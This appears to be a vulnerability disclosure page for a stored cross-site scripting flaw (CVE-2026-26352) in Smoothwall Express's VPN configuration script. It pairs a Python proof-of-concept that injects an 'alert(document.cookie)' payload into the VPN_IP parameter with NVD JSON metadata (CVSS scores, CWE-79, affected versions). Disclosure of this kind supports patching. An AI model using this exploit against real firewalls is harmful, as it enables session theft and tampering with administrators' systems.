CVE-2026-26352

import requests # Target URL of the vulnerable Smoothwall Express VPN script target_url = "http://target-ip/cgi-bin/vpnmain.cgi" # Malicious payload to be injected into the VPN_IP parameter # This script simply alerts the document cookie, demonstrating execution. xss_payload = '"><script>alert(document.cookie)</script>' # Data payload mimicking a legitimate VPN configuration update # The key parameter here is 'VPN_IP' which is vulnerable post_data = { "ACTION": "Add", # Or "Update" depending on the form context "VPN_IP": xss_payload, "VPN_NAME": "TestConnection", # Other necessary form fields to make the request valid } # Attacker must be authenticated. Replace with a valid session cookie. cookies = { "smoothwall_session": "valid_session_id_here" } try: # Send the POST request to inject the payload response = requests.post(target_url, data=post_data, cookies=cookies) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the VPN configuration page to trigger the XSS.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-26352", "sourceIdentifier": "[email protected]", "published": "2026-03-30T17:16:14.363", "lastModified": "2026-04-14T16:34:30.427", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Smoothwall Express versions prior to 3.1 Update 13 contain a stored cross-site scripting vulnerability in the /cgi-bin/vpnmain.cgi script due to improper sanitation of the VPN_IP parameter. Authenticated attackers can inject arbitrary JavaScript through VPN configuration settings that executes when the affected page is viewed by other users."}, {"lang": "es", "value": "Smoothwall Express versiones anteriores a 3.1 Update 13 contienen una vulnerabilidad de cross-site scripting almacenado en el script /cgi-bin/vpnmain.cgi debido a una sanitización inadecuada del parámetro VPN_IP. Atacantes autenticados pueden inyectar JavaScript arbitrario a través de la configuración de VPN que se ejecuta cuando la página afectada es vista por otros usuarios."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.0", "matchCriteriaId": "F0BC090B-12A9-4A0E-9BD2-EFA56B569432"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update1:*:*:-:*:*:*", "matchCriteriaId": "714B3296-7323-4920-8832-827C697ABED8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update10:*:*:-:*:*:*", "matchCriteriaId": "07EF8E3A-93A2-4A5A-A077-B692D7B4D92F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update11:*:*:-:*:*:*", "matchCriteriaId": "2B3D4296-EE7C-46FD-A734-419DC0BDFB7A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update12:*:*:-:*:*:*", "matchCriteriaId": "230A2DC9-DE28-4D18-99B8-0567CE99969C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update2:*:*:-:*:*:*", "matchCriteriaId": "5F0EED85-4850-4303-9529-E45868061C90"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update3:*:*:-:*:*:*", "matchCriteriaId": "0A0D511A-9CBB-4586-BF80-AAC12101B9E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update4:*:*:-:*:*:*", "matchCriteriaId": "2999F419-BAF9-4660-8983-BB5A8374450E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update5:*:*:-:*:*:*", "matchCriteriaId": "83811BB5-B833-4594-823D-C47CB8499DD0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update6:*:*:-:*:*:*", "matchCriteriaId": "E2A35B5F-2BFD-43D2-B0AC-EFCA7A5A8E2C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update7:*:*:-:*:*:*", "matchCriteriaI ... (truncated)